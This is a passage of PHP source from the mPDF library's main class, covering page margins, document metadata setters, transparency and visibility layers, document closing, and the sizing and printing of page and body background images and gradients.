			if (($this->mirrorMargins) && (($this->page) % 2 == 0)) { // EVEN
				$this->tMargin = $this->orig_rMargin;
				$this->bMargin = $this->orig_lMargin;
			} else { // ODD	// OR NOT MIRRORING MARGINS/FOOTERS
				$this->tMargin = $this->orig_lMargin;
				$this->bMargin = $this->orig_rMargin;
			}
			$this->lMargin = $this->DeflMargin;
			$this->rMargin = $this->DefrMargin;
			$this->MarginCorrection = 0;
			$this->PageBreakTrigger = $this->h - $this->bMargin;
		} elseif (($this->mirrorMargins) && (($this->page) % 2 == 0)) { // EVEN
			$this->lMargin = $this->DefrMargin;
			$this->rMargin = $this->DeflMargin;
			$this->MarginCorrection = $this->DefrMargin - $this->DeflMargin;
		} else { // ODD	// OR NOT MIRRORING MARGINS/FOOTERS
			$this->lMargin = $this->DeflMargin;
			$this->rMargin = $this->DefrMargin;
			if ($this->mirrorMargins) {
				$this->MarginCorrection = $this->DeflMargin - $this->DefrMargin;
			}
		}
		$this->x = $this->lMargin;
	}

	function SetLeftMargin($margin)
	{
		// Set left margin
		$this->lMargin = $margin;
		if ($this->page > 0 and $this->x < $margin) {
			$this->x = $margin;
		}
	}

	function SetTopMargin($margin)
	{
		// Set top margin
		$this->tMargin = $margin;
	}

	function SetRightMargin($margin)
	{
		// Set right margin
		$this->rMargin = $margin;
	}

	function SetAutoPageBreak($auto, $margin = 0)
	{
		// Set auto page break mode and triggering margin
		$this->autoPageBreak = $auto;
		$this->bMargin = $margin;
		$this->PageBreakTrigger = $this->h - $margin;
	}

	function SetDisplayMode($zoom, $layout = 'continuous')
	{
		$allowedZoomModes = ['fullpage', 'fullwidth', 'real', 'default', 'none'];

		if (in_array($zoom, $allowedZoomModes, true) || is_numeric($zoom)) {
			$this->ZoomMode = $zoom;
		} else {
			throw new \Mpdf\MpdfException('Incorrect zoom display mode: ' . $zoom);
		}

		$allowedLayoutModes = ['single', 'continuous', 'two', 'twoleft', 'tworight', 'default'];

		if (in_array($layout, $allowedLayoutModes, true)) {
			$this->LayoutMode = $layout;
		} else {
			throw new \Mpdf\MpdfException('Incorrect layout display mode: ' . $layout);
		}
	}

	function SetCompression($compress)
	{
		// Set page compression
		if (function_exists('gzcompress')) {
			$this->compress = $compress;
		} else {
			$this->compress = false;
		}
	}

	function SetTitle($title)
	{
		// Title of document // Arrives as UTF-8
		$this->title = $title;
	}

	function SetSubject($subject)
	{
		// Subject of document
		$this->subject = $subject;
	}

	function SetAuthor($author)
	{
		// Author of document
		$this->author = $author;
	}

	function SetKeywords($keywords)
	{
		// Keywords of document
		$this->keywords = $keywords;
	}

	function SetCreator($creator)
	{
		// Creator of document
		$this->creator = $creator;
	}

	function AddCustomProperty($key, $value)
	{
		$this->customProperties[$key] = $value;
	}

	/**
	 * Set one or multiple associated file ("/AF" as required by PDF/A-3)
	 *
	 * param $files is an array of hash containing:
	 *   path: file path on FS
	 *   content: file content
	 *   name: file name (not necessarily the same as the file on FS)
	 *   mime (optional): file mime type (will show up as /Subtype in the PDF)
	 *   description (optional): file description
	 *   AFRelationship (optional): PDF/A-3 AFRelationship (e.g. "Alternative")
	 *
	 * e.g. to associate 1 file:
	 *     [[
	 *         'path' => 'tmp/1234.xml',
	 *         'content' => 'file content',
	 *         'name' => 'public_name.xml',
	 *         'mime' => 'text/xml',
	 *         'description' => 'foo',
	 *         'AFRelationship' => 'Alternative',
	 *     ]]
	 *
	 * @param mixed[] $files Array of arrays of associated files. See above
	 */
	function SetAssociatedFiles(array $files)
	{
		$this->associatedFiles = $files;
	}

	function SetAdditionalXmpRdf($s)
	{
		$this->additionalXmpRdf = $s;
	}

	function SetAnchor2Bookmark($x)
	{
		$this->anchor2Bookmark = $x;
	}

	public function AliasNbPages($alias = '{nb}')
	{
		// Define an alias for total number of pages
		$this->aliasNbPg = $alias;
	}

	public function AliasNbPageGroups($alias = '{nbpg}')
	{
		// Define an alias for total number of pages in a group
		$this->aliasNbPgGp = $alias;
	}

	function SetAlpha($alpha, $bm = 'Normal', $return = false, $mode = 'B')
	{
		// alpha: real value from 0 (transparent) to 1 (opaque)
		// bm:    blend mode, one of the following:
		//          Normal, Multiply, Screen, Overlay, Darken, Lighten, ColorDodge, ColorBurn,
		//          HardLight, SoftLight, Difference, Exclusion, Hue, Saturation, Color, Luminosity
		// set alpha for stroking (CA) and non-stroking (ca) operations
		// mode determines F (fill) S (stroke) B (both)
		if (($this->PDFA || $this->PDFX) && $alpha != 1) {
			if (($this->PDFA && !$this->PDFAauto) || ($this->PDFX && !$this->PDFXauto)) {
				$this->PDFAXwarnings[] = "Image opacity must be 100% (Opacity changed to 100%)";
			}
			$alpha = 1;
		}
		$a = ['BM' => '/' . $bm];
		if ($mode == 'F' || $mode == 'B') {
			$a['ca'] = $alpha; // mPDF 5.7.2
		}
		if ($mode == 'S' || $mode == 'B') {
			$a['CA'] = $alpha; // mPDF 5.7.2
		}
		$gs = $this->AddExtGState($a);
		if ($return) {
			return sprintf('/GS%d gs', $gs);
		} else {
			$this->writer->write(sprintf('/GS%d gs', $gs));
		}
	}

	function AddExtGState($parms)
	{
		$n = count($this->extgstates);
		// check if graphics state already exists
		for ($i = 1; $i <= $n; $i++) {
			if (count($this->extgstates[$i]['parms']) == count($parms)) {
				$same = true;
				foreach ($this->extgstates[$i]['parms'] as $k => $v) {
					if (!isset($parms[$k]) || $parms[$k] != $v) {
						$same = false;
						break;
					}
				}
				if ($same) {
					return $i;
				}
			}
		}
		$n++;
		$this->extgstates[$n]['parms'] = $parms;
		return $n;
	}

	function SetVisibility($v)
	{
		if (($this->PDFA || $this->PDFX) && $this->visibility != 'visible') {
			$this->PDFAXwarnings[] = "Cannot set visibility to anything other than full when using PDFA or PDFX";
			return '';
		} elseif (!$this->PDFA && !$this->PDFX) {
			$this->pdf_version = '1.5';
		}
		if ($this->visibility != 'visible') {
			$this->writer->write('EMC');
			$this->hasOC = intval($this->hasOC);
		}
		if ($v == 'printonly') {
			$this->writer->write('/OC /OC1 BDC');
			$this->hasOC = ($this->hasOC | 1);
		} elseif ($v == 'screenonly') {
			$this->writer->write('/OC /OC2 BDC');
			$this->hasOC = ($this->hasOC | 2);
		} elseif ($v == 'hidden') {
			$this->writer->write('/OC /OC3 BDC');
			$this->hasOC = ($this->hasOC | 4);
		} elseif ($v != 'visible') {
			throw new \Mpdf\MpdfException('Incorrect visibility: ' . $v);
		}
		$this->visibility = $v;
	}

	function Open()
	{
		// Begin document
		if ($this->state == 0) {
			// Was is function _begindoc()
			// Start document
			$this->state = 1;
			$this->writer->write('%PDF-' . $this->pdf_version);
			$this->writer->write('%' . chr(226) . chr(227) . chr(207) . chr(211)); // 4 chars > 128 to show binary file
		}
	}

	function Close()
	{
		// @log Closing last page

		// Terminate document
		if ($this->state == 3) {
			return;
		}
		if ($this->page == 0) {
			$this->AddPage($this->CurOrientation);
		}
		if (count($this->cellBorderBuffer)) {
			$this->printcellbuffer();
		} // *TABLES*
		if ($this->tablebuffer) {
			$this->printtablebuffer();
		} // *TABLES*
		/* -- COLUMNS -- */

		if ($this->ColActive) {
			$this->SetColumns(0);
			$this->ColActive = 0;
			if (count($this->columnbuffer)) {
				$this->printcolumnbuffer();
			}
		}
		/* -- END COLUMNS -- */

		// BODY Backgrounds
		$s = '';

		$s .= $this->PrintBodyBackgrounds();
		$s .= $this->PrintPageBackgrounds();

		$this->pages[$this->page] = preg_replace(
			'/(___BACKGROUND___PATTERNS' . $this->uniqstr . ')/',
			"\n" . $s . "\n" . '\\1',
			$this->pages[$this->page]
		);

		$this->pageBackgrounds = [];

		if ($this->visibility != 'visible') {
			$this->SetVisibility('visible');
		}

		$this->EndLayer();

		if (!$this->tableOfContents->TOCmark) { // Page footer
			$this->InFooter = true;
			$this->Footer();
			$this->InFooter = false;
		}

		if ($this->tableOfContents->TOCmark || count($this->tableOfContents->m_TOC)) {
			$this->tableOfContents->insertTOC();
		}

		// *TOC*
		// Close page
		$this->_endpage();

		// Close document
		$this->_enddoc();
	}

	/* -- BACKGROUNDS -- */

	function _resizeBackgroundImage($imw, $imh, $cw, $ch, $resize, $repx, $repy, $pba = [], $size = [])
	{
		// pba is background positioning area (from CSS background-origin) may not always be set [x,y,w,h]
		// size is from CSS3 background-size - takes precendence over old resize
		// $w - absolute length or % or auto or cover | contain
		// $h - absolute length or % or auto or cover | contain
		if (isset($pba['w'])) {
			$cw = $pba['w'];
		}
		if (isset($pba['h'])) {
			$ch = $pba['h'];
		}

		$cw = $cw * Mpdf::SCALE;
		$ch = $ch * Mpdf::SCALE;
		if (empty($size) && !$resize) {
			return [$imw, $imh, $repx, $repy];
		}

		if (isset($size['w']) && $size['w']) {
			if ($size['w'] == 'contain') {
				// Scale the image, while preserving its intrinsic aspect ratio (if any),
				// to the largest size such that both its width and its height can fit inside the background positioning area.
				// Same as resize==3
				$h = $imh * $cw / $imw;
				$w = $cw;
				if ($h > $ch) {
					$w = $w * $ch / $h;
					$h = $ch;
				}
			} elseif ($size['w'] == 'cover') {
				// Scale the image, while preserving its intrinsic aspect ratio (if any),
				// to the smallest size such that both its width and its height can completely cover the background positioning area.
				$h = $imh * $cw / $imw;
				$w = $cw;
				if ($h < $ch) {
					$w = $w * $h / $ch;
					$h = $ch;
				}
			} else {
				if (stristr($size['w'], '%')) {
					$size['w'] = (float) $size['w'];
					$size['w'] /= 100;
					$size['w'] = ($cw * $size['w']);
				}
				if (stristr($size['h'], '%')) {
					$size['h'] = (float) $size['h'];
					$size['h'] /= 100;
					$size['h'] = ($ch * $size['h']);
				}
				if ($size['w'] == 'auto' && $size['h'] == 'auto') {
					$w = $imw;
					$h = $imh;
				} elseif ($size['w'] == 'auto' && $size['h'] != 'auto') {
					$w = $imw * $size['h'] / $imh;
					$h = $size['h'];
				} elseif ($size['w'] != 'auto' && $size['h'] == 'auto') {
					$h = $imh * $size['w'] / $imw;
					$w = $size['w'];
				} else {
					$w = $size['w'];
					$h = $size['h'];
				}
			}
			return [$w, $h, $repx, $repy];
		} elseif ($resize == 1 && $imw > $cw) {
			$h = $imh * $cw / $imw;
			return [$cw, $h, $repx, $repy];
		} elseif ($resize == 2 && $imh > $ch) {
			$w = $imw * $ch / $imh;
			return [$w, $ch, $repx, $repy];
		} elseif ($resize == 3) {
			$w = $imw;
			$h = $imh;
			if ($w > $cw) {
				$h = $h * $cw / $w;
				$w = $cw;
			}
			if ($h > $ch) {
				$w = $w * $ch / $h;
				$h = $ch;
			}
			return [$w, $h, $repx, $repy];
		} elseif ($resize == 4) {
			$h = $imh * $cw / $imw;
			return [$cw, $h, $repx, $repy];
		} elseif ($resize == 5) {
			$w = $imw * $ch / $imh;
			return [$w, $ch, $repx, $repy];
		} elseif ($resize == 6) {
			return [$cw, $ch, $repx, $repy];
		}
		return [$imw, $imh, $repx, $repy];
	}

	function SetBackground(&$properties, &$maxwidth)
	{
		if (isset($properties['BACKGROUND-ORIGIN']) && ($properties['BACKGROUND-ORIGIN'] == 'border-box' || $properties['BACKGROUND-ORIGIN'] == 'content-box')) {
			$origin = $properties['BACKGROUND-ORIGIN'];
		} else {
			$origin = 'padding-box';
		}

		if (isset($properties['BACKGROUND-SIZE'])) {
			if (stristr($properties['BACKGROUND-SIZE'], 'contain')) {
				$bsw = $bsh = 'contain';
			} elseif (stristr($properties['BACKGROUND-SIZE'], 'cover')) {
				$bsw = $bsh = 'cover';
			} else {
				$bsw = $bsh = 'auto';
				$sz = preg_split('/\s+/', trim($properties['BACKGROUND-SIZE']));
				if (count($sz) == 2) {
					$bsw = $sz[0];
					$bsh = $sz[1];
				} else {
					$bsw = $sz[0];
				}
				if (!stristr($bsw, '%') && !stristr($bsw, 'auto')) {
					$bsw = $this->sizeConverter->convert($bsw, $maxwidth, $this->FontSize);
				}
				if (!stristr($bsh, '%') && !stristr($bsh, 'auto')) {
					$bsh = $this->sizeConverter->convert($bsh, $maxwidth, $this->FontSize);
				}
			}
			$size = ['w' => $bsw, 'h' => $bsh];
		} else {
			$size = false;
		} // mPDF 6
		if (preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $properties['BACKGROUND-IMAGE'])) {
			return ['gradient' => $properties['BACKGROUND-IMAGE'], 'origin' => $origin, 'size' => $size];
		} else {
			$file = $properties['BACKGROUND-IMAGE'];
			$sizesarray = $this->Image($file, 0, 0, 0, 0, '', '', false, false, false, false, true);
			if (isset($sizesarray['IMAGE_ID'])) {
				$image_id = $sizesarray['IMAGE_ID'];
				$orig_w = $sizesarray['WIDTH'] * Mpdf::SCALE;  // in user units i.e. mm
				$orig_h = $sizesarray['HEIGHT'] * Mpdf::SCALE;  // (using $this->img_dpi)
				if (isset($properties['BACKGROUND-IMAGE-RESOLUTION'])) {
					if (preg_match('/from-image/i', $properties['BACKGROUND-IMAGE-RESOLUTION']) && isset($sizesarray['set-dpi']) && $sizesarray['set-dpi'] > 0) {
						$orig_w *= $this->img_dpi / $sizesarray['set-dpi'];
						$orig_h *= $this->img_dpi / $sizesarray['set-dpi'];
					} elseif (preg_match('/(\d+)dpi/i', $properties['BACKGROUND-IMAGE-RESOLUTION'], $m)) {
						$dpi = $m[1];
						if ($dpi > 0) {
							$orig_w *= $this->img_dpi / $dpi;
							$orig_h *= $this->img_dpi / $dpi;
						}
					}
				}
				$x_repeat = true;
				$y_repeat = true;
				if (isset($properties['BACKGROUND-REPEAT'])) {
					if ($properties['BACKGROUND-REPEAT'] == 'no-repeat' || $properties['BACKGROUND-REPEAT'] == 'repeat-x') {
						$y_repeat = false;
					}
					if ($properties['BACKGROUND-REPEAT'] == 'no-repeat' || $properties['BACKGROUND-REPEAT'] == 'repeat-y') {
						$x_repeat = false;
					}
				}
				$x_pos = 0;
				$y_pos = 0;
				if (isset($properties['BACKGROUND-POSITION'])) {
					$ppos = preg_split('/\s+/', $properties['BACKGROUND-POSITION']);
					$x_pos = $ppos[0];
					$y_pos = $ppos[1];
					if (!stristr($x_pos, '%')) {
						$x_pos = $this->sizeConverter->convert($x_pos, $maxwidth, $this->FontSize);
					}
					if (!stristr($y_pos, '%')) {
						$y_pos = $this->sizeConverter->convert($y_pos, $maxwidth, $this->FontSize);
					}
				}
				if (isset($properties['BACKGROUND-IMAGE-RESIZE'])) {
					$resize = $properties['BACKGROUND-IMAGE-RESIZE'];
				} else {
					$resize = 0;
				}
				if (isset($properties['BACKGROUND-IMAGE-OPACITY'])) {
					$opacity = $properties['BACKGROUND-IMAGE-OPACITY'];
				} else {
					$opacity = 1;
				}
				return ['image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'resize' => $resize, 'opacity' => $opacity, 'itype' => $sizesarray['itype'], 'origin' => $origin, 'size' => $size];
			}
		}
		return false;
	}

	/* -- END BACKGROUNDS -- */

	function PrintBodyBackgrounds()
	{
		$s = '';
		$clx = 0;
		$cly = 0;
		$clw = $this->w;
		$clh = $this->h;
		// If using bleed and trim margins in paged media
		if ($this->pageDim[$this->page]['outer_width_LR'] || $this->pageDim[$this->page]['outer_width_TB']) {
			$clx = $this->pageDim[$this->page]['outer_width_LR'] - $this->pageDim[$this->page]['bleedMargin'];
			$cly = $this->pageDim[$this->page]['outer_width_TB'] - $this->pageDim[$this->page]['bleedMargin'];
			$clw = $this->w - 2 * $clx;
			$clh = $this->h - 2 * $cly;
		}

		if ($this->bodyBackgroundColor) {
			$s .= 'q ' . $this->SetFColor($this->bodyBackgroundColor, true) . "\n";
			if ($this->bodyBackgroundColor[0] == 5) { // RGBa
				$s .= $this->SetAlpha(ord($this->bodyBackgroundColor[4]) / 100, 'Normal', true, 'F') . "\n";
			} elseif ($this->bodyBackgroundColor[0] == 6) { // CMYKa
				$s .= $this->SetAlpha(ord($this->bodyBackgroundColor[5]) / 100, 'Normal', true, 'F') . "\n";
			}
			$s .= sprintf('%.3F %.3F %.3F %.3F re f Q', ($clx * Mpdf::SCALE), ($cly * Mpdf::SCALE), $clw * Mpdf::SCALE, $clh * Mpdf::SCALE) . "\n";
		}

		/* -- BACKGROUNDS -- */
		if ($this->bodyBackgroundGradient) {
			$g = $this->gradient->parseBackgroundGradient($this->bodyBackgroundGradient);
			if ($g) {
				$s .= $this->gradient->Gradient($clx, $cly, $clw, $clh, (isset($g['gradtype']) ? $g['gradtype'] : null), $g['stops'], $g['colorspace'], $g['coords'], $g['extend'], true);
			}
		}
		if ($this->bodyBackgroundImage) {
			if (isset($this->bodyBackgroundImage['gradient']) && $this->bodyBackgroundImage['gradient'] && preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $this->bodyBackgroundImage['gradient'])) {
				$g = $this->gradient->parseMozGradient($this->bodyBackgroundImage['gradient']);
				if ($g) {
					$s .= $this->gradient->Gradient($clx, $cly, $clw, $clh, $g['type'], $g['stops'], $g['colorspace'], $g['coords'], $g['extend'], true);
				}
			} elseif ($this->bodyBackgroundImage['image_id']) { // Background pattern
				$n = count($this->patterns) + 1;
				// If using resize, uses TrimBox (not including the bleed)
				list($orig_w, $orig_h, $x_repeat, $y_repeat) = $this->_resizeBackgroundImage($this->bodyBackgroundImage['orig_w'], $this->bodyBackgroundImage['orig_h'], $clw, $clh, $this->bodyBackgroundImage['resize'], $this->bodyBackgroundImage['x_repeat'], $this->bodyBackgroundImage['y_repeat']);

				$this->patterns[$n] = ['x' => $clx, 'y' => $cly, 'w' => $clw, 'h' => $clh, 'pgh' => $this->h, 'image_id' => $this->bodyBackgroundImage['image_id'], 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $this->bodyBackgroundImage['x_pos'], 'y_pos' => $this->bodyBackgroundImage['y_pos'], 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'itype' => $this->bodyBackgroundImage['itype']];
				if (($this->bodyBackgroundImage['opacity'] > 0 || $this->bodyBackgroundImage['opacity'] === '0') && $this->bodyBackgroundImage['opacity'] < 1) {
					$opac = $this->SetAlpha($this->bodyBackgroundImage['opacity'], 'Normal', true);
				} else {
					$opac = '';
				}
				$s .= sprintf('q /Pattern cs /P%d scn %s %.3F %.3F %.3F %.3F re f Q', $n, $opac, ($clx * Mpdf::SCALE), ($cly * Mpdf::SCALE), $clw * Mpdf::SCALE, $clh * Mpdf::SCALE) . "\n";
			}
		}
		/* -- END BACKGROUNDS -- */
		return $s;
	}

	function _setClippingPath($clx, $cly, $clw, $clh)
	{
		$s = ' q 0 w '; // Line width=0
		$s .= sprintf('%.3F %.3F m ', ($clx) * Mpdf::SCALE, ($this->h - ($cly)) * Mpdf::SCALE); // start point TL before the arc
		$s .= sprintf('%.3F %.3F l ', ($clx) * Mpdf::SCALE, ($this->h - ($cly + $clh)) * Mpdf::SCALE); // line to BL
		$s .= sprintf('%.3F %.3F l ', ($clx + $clw) * Mpdf::SCALE, ($this->h - ($cly + $clh)) * Mpdf::SCALE); // line to BR
		$s .= sprintf('%.3F %.3F l ', ($clx + $clw) * Mpdf::SCALE, ($this->h - ($cly)) * Mpdf::SCALE); // line to TR
		$s .= sprintf('%.3F %.3F l ', ($clx) * Mpdf::SCALE, ($this->h - ($cly)) * Mpdf::SCALE); // line to TL
		$s .= ' W n '; // Ends path no-op & Sets the clipping path
		return $s;
	}

	function PrintPageBackgrounds($adjustmenty = 0)
	{
		$s = '';

		ksort($this->pageBackgrounds);

		foreach ($this->pageBackgrounds as $bl => $pbs) {

			foreach ($pbs as $pb) {

				if ((!isset($pb['image_id']) && !isset($pb['gradient'])) || isset($pb['shadowonly'])) { // Background colour or boxshadow

					if ($pb['z-index'] > 0) {
						$this->current_layer = $pb['z-index'];
						$s .= "\n" . '/OCBZ-index /ZI' . $pb['z-index'] . ' BDC' . "\n";
					}

					if ($pb['visibility'] != 'visible') {
						if ($pb['visibility'] == 'printonly') {
							$s .= '/OC /OC1 BDC' . "\n";
						} elseif ($pb['visibility'] == 'screenonly') {
							$s .= '/OC /OC2 BDC' . "\n";
						} elseif ($pb['visibility'] == 'hidden') {
							$s .= '/OC /OC3 BDC' . "\n";
						}
					}

					// Box shadow
					if (isset($pb['shadow']) && $pb['shadow']) {
						$s .= $pb['shadow'] . "\n";
					}

					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= $pb['clippath'] . "\n";
					}

					$s .= 'q ' . $this->SetFColor($pb['col'], true) . "\n";

					if ($pb['col'] && $pb['col'][0] === '5') { // RGBa
						$s .= $this->SetAlpha(ord($pb['col'][4]) / 100, 'Normal', true, 'F') . "\n";
					} elseif ($pb['col'] && $pb['col'][0] === '6') { // CMYKa
						$s .= $this->SetAlpha(ord($pb['col'][5]) / 100, 'Normal', true, 'F') . "\n";
					}

					$s .= sprintf('%.3F %.3F %.3F %.3F re f Q', $pb['x'] * Mpdf::SCALE, ($this->h - $pb['y']) * Mpdf::SCALE, $pb['w'] * Mpdf::SCALE, -$pb['h'] * Mpdf::SCALE) . "\n";

					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= 'Q' . "\n";
					}

					if ($pb['visibility'] != 'visible') {
						$s .= 'EMC' . "\n";
					}

					if ($pb['z-index'] > 0) {
						$s .= "\n" . 'EMCBZ-index' . "\n";
						$this->current_layer = 0;
					}
				}
			}

			/* -- BACKGROUNDS -- */
			foreach ($pbs as $pb) {

				if ((isset($pb['gradient']) && $pb['gradient']) || (isset($pb['image_id']) && $pb['image_id'])) {

					if ($pb['z-index'] > 0) {
						$this->current_layer = $pb['z-index'];
						$s .= "\n" . '/OCGZ-index /ZI' . $pb['z-index'] . ' BDC' . "\n";
					}

					if ($pb['visibility'] != 'visible') {
						if ($pb['visibility'] == 'printonly') {
							$s .= '/OC /OC1 BDC' . "\n";
						} elseif ($pb['visibility'] == 'screenonly') {
							$s .= '/OC /OC2 BDC' . "\n";
						} elseif ($pb['visibility'] == 'hidden') {
							$s .= '/OC /OC3 BDC' . "\n";
						}
					}

				}

				if (isset($pb['gradient']) && $pb['gradient']) {

					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= $pb['clippath'] . "\n";
					}

					$s .= $this->gradient->Gradient($pb['x'], $pb['y'], $pb['w'], $pb['h'], $pb['gradtype'], $pb['stops'], $pb['colorspace'], $pb['coords'], $pb['extend'], true);

					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= 'Q' . "\n";
					}

				} elseif (isset($pb['image_id']) && $pb['image_id']) { // Background Image

					$pb['y'] -= $adjustmenty;
					$pb['h'] += $adjustmenty;
					$n = count($this->patterns) + 1;

					list($orig_w, $orig_h, $x_repeat, $y_repeat) = $this->_resizeBackgroundImage($pb['orig_w'], $pb['orig_h'], $pb['w'], $pb['h'], $pb['resize'], $pb['x_repeat'], $pb['y_repeat'], $pb['bpa'], $pb['size']);

					$this->patterns[$n] = ['x' => $pb['x'], 'y' => $pb['y'], 'w' => $pb['w'], 'h' => $pb['h'], 'pgh' => $this->h, 'image_id' => $pb['image_id'], 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $pb['x_pos'], 'y_pos' => $pb['y_pos'], 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'itype' => $pb['itype'], 'bpa' => $pb['bpa']];

					$x = $pb['x'] * Mpdf::SCALE;
					$y = ($this->h - $pb['y']) * Mpdf::SCALE;
					$w = $pb['w'] * Mpdf::SCALE;
					$h = -$pb['h'] * Mpdf::SCALE;

					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= $pb['clippath'] . "\n";
					}

					if ($this->writingHTMLfooter || $this->writingHTMLheader) { // Write each (tiles) image rather than use as a pattern

						$iw = $pb['orig_w'] / Mpdf::SCALE;
						$ih = $pb['orig_h'] / Mpdf::SCALE;

						$w = $pb['w'];
						$h = $pb['h'];
						$x0 = $pb['x'];
						$y0 = $pb['y'];

						if (isset($pb['bpa']) && $pb['bpa']) {
							$w = $pb['bpa']['w'];
							$h = $pb['bpa']['h'];
							$x0 = $pb['bpa']['x'];
							$y0 = $pb['bpa']['y'];
						}

						if (isset($pb['size']['w']) && $pb['size']['w']) {
							$size = $pb['size'];

							if ($size['w'] == 'contain') {
								// Scale the image, while preserving its intrinsic aspect ratio (if any), to the largest
								// size such that both its width and its height can fit inside the background positioning area.
								// Same as resize==3
								$ih = $ih * $pb['bpa']['w'] / $iw;
								$iw = $pb['bpa']['w'];
								if ($ih > $pb['bpa']['h']) {
									$iw = $iw * $pb['bpa']['h'] / $ih;
									$ih = $pb['bpa']['h'];
								}
							} elseif ($size['w'] == 'cover') {
								// Scale the image, while preserving its intrinsic aspect ratio (if any), to the smallest
								// size such that both its width and its height can completely cover the background positioning area.
								$ih = $ih * $pb['bpa']['w'] / $iw;
								$iw = $pb['bpa']['w'];
								if ($ih < $pb['bpa']['h']) {
									$iw = $iw * $ih / $pb['bpa']['h'];
									$ih = $pb['bpa']['h'];
								}
							} else {

								if (NumericString::containsPercentChar($size['w'])) {
									$size['w'] = NumericString::removePercentChar($size['w']);
									$size['w'] /= 100;
									$size['w'] = ($pb['bpa']['w'] * $size['w']);
								}

								if (NumericString::containsPercentChar($size['h'])) {
									$size['h'] = NumericString::removePercentChar($size['h']);
									$size['h'] /= 100;
									$size['h'] = ($pb['bpa']['h'] * $size['h']);
								}

								if ($size['w'] == 'auto' && $size['h'] == 'auto') {
									$iw = $iw;
									$ih = $ih;
								} elseif ($size['w'] == 'auto' && $size['h'] != 'auto') {
									$iw = $iw * $size['h'] / $ih;
									$ih = $size['h'];
								} elseif ($size['w'] != 'auto' && $size['h'] == 'auto') {
									$ih = $ih * $size['w'] / $iw;
									$iw = $size['w'];
								} else {
									$iw = $size['w'];
									$ih = $size['h'];
								}
							}
						}

						// Number to repeat
						if ($pb['x_repeat']) {
							$nx = ceil($pb['w'] / $iw) + 1;
						} else {
							$nx = 1;
						}

						if ($pb['y_repeat']) {
							$ny = ceil($pb['h'] / $ih) + 1;
						} else {
							$ny = 1;
						}

						$x_pos = $pb['x_pos'];
						if (stristr($x_pos, '%')) {
							$x_pos = (float) $x_pos;
							$x_pos /= 100;
							$x_pos = ($pb['bpa']['w'] * $x_pos) - ($iw * $x_pos);
						}

						$y_pos = $pb['y_pos'];

						if (stristr($y_pos, '%')) {
							$y_pos = (float) $y_pos;
							$y_pos /= 100;
							$y_pos = ($pb['bpa']['h'] * $y_pos) - ($ih * $y_pos);
						}

						if ($nx > 1) {
							while ($x_pos > ($pb['x'] - $pb['bpa']['x'])) {
								$x_pos -= $iw;
							}
						}

						if ($ny > 1) {
							while ($y_pos > ($pb['y'] - $pb['bpa']['y'])) {
								$y_pos -= $ih;
							}
						}

						for ($xi = 0; $xi < $nx; $xi++) {
							for ($yi = 0; $yi < $ny; $yi++) {
								$x = $x0 + $x_pos + ($iw * $xi);
								$y = $y0 + $y_pos + ($ih * $yi);
								if ($pb['opacity'] > 0 && $pb['opacity'] < 1) {
									$opac = $this->SetAlpha($pb['opacity'], 'Normal', true);
								} else {
									$opac = '';
								}
								$s .= sprintf("q %s %.3F 0 0 %.3F %.3F %.3F cm /I%d Do Q", $opac, $iw * Mpdf::SCALE, $ih * Mpdf::SCALE, $x * Mpdf::SCALE, ($this->h - ($y + $ih)) * Mpdf::SCALE, $pb['image_id']) . "\n";
							}
						}

					} else {
						if (($pb['opacity'] > 0 || $pb['opacity'] === '0') && $pb['opacity'] < 1) {
							$opac = $this->SetAlpha($pb['opacity'], 'Normal', true);
						} else {
							$opac = '';
						}
						$s .= sprintf('q /Pattern cs /P%d scn %s %.3F %.3F %.3F %.3F re f Q', $n, $opac, $x, $y, $w, $h) . "\n";
					}

					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= 'Q' . "\n";
					}
				}

				if ((isset($pb['gradient']) && $pb['gradient']) || (isset($pb['image_id']) && $pb['image_id'])) {
					if ($pb['visibility'] != 'visible') {
						$s .= 'EMC' . "\n";
					}

					if ($pb['z-index'] > 0) {
						$s .= "\n" . 'EMCGZ-index' . "\n";
						$this->current_layer = 0;
					}
				}
			}
			/* -- END BACKGROUNDS -- */
		}

		return $s;
	}

	function PrintTableBackgrounds($adjustmenty = 0)
	{
		$s = '';
		/* -- BACKGROUNDS -- */
		ksort($this->tableBackgrounds);
		foreach ($this->tableBackgrounds as $bl => $pbs) {
			foreach ($pbs as $pb) {
				if ((!isset($pb['gradient']) || !$pb['gradient']) && (!isset($pb['image_id']) || !$pb['image_id'])) {
					$s .= 'q ' . $this->SetFColor($pb['col'], true) . "\n";
					if ($pb['col'][0] == 5) { // RGBa
						$s .= $this->SetAlpha(ord($pb['col'][4]) / 100, 'Normal', true, 'F') . "\n";
					} elseif ($pb['col'][0] == 6) { // CMYKa
						$s .= $this->SetAlpha(ord($pb['col'][5]) / 100, 'Normal', true, 'F') . "\n";
					}
					$s .= sprintf('%.3F %.3F %.3F %.3F re %s Q', $pb['x'] * Mpdf::SCALE, ($this->h - $pb['y']) * Mpdf::SCALE, $pb['w'] * Mpdf::SCALE, -$pb['h'] * Mpdf::SCALE, 'f') . "\n";
				}
				if (isset($pb['gradient']) && $pb['gradient']) {
					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= $pb['clippath'] . "\n";
					}
					$s .= $this->gradient->Gradient($pb['x'], $pb['y'], $pb['w'], $pb['h'], $pb['gradtype'], $pb['stops'], $pb['colorspace'], $pb['coords'], $pb['extend'], true);
					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= 'Q' . "\n";
					}
				}
				if (isset($pb['image_id']) && $pb['image_id']) { // Background pattern
					$pb['y'] -= $adjustmenty;
					$pb['h'] += $adjustmenty;
					$n = count($this->patterns) + 1;
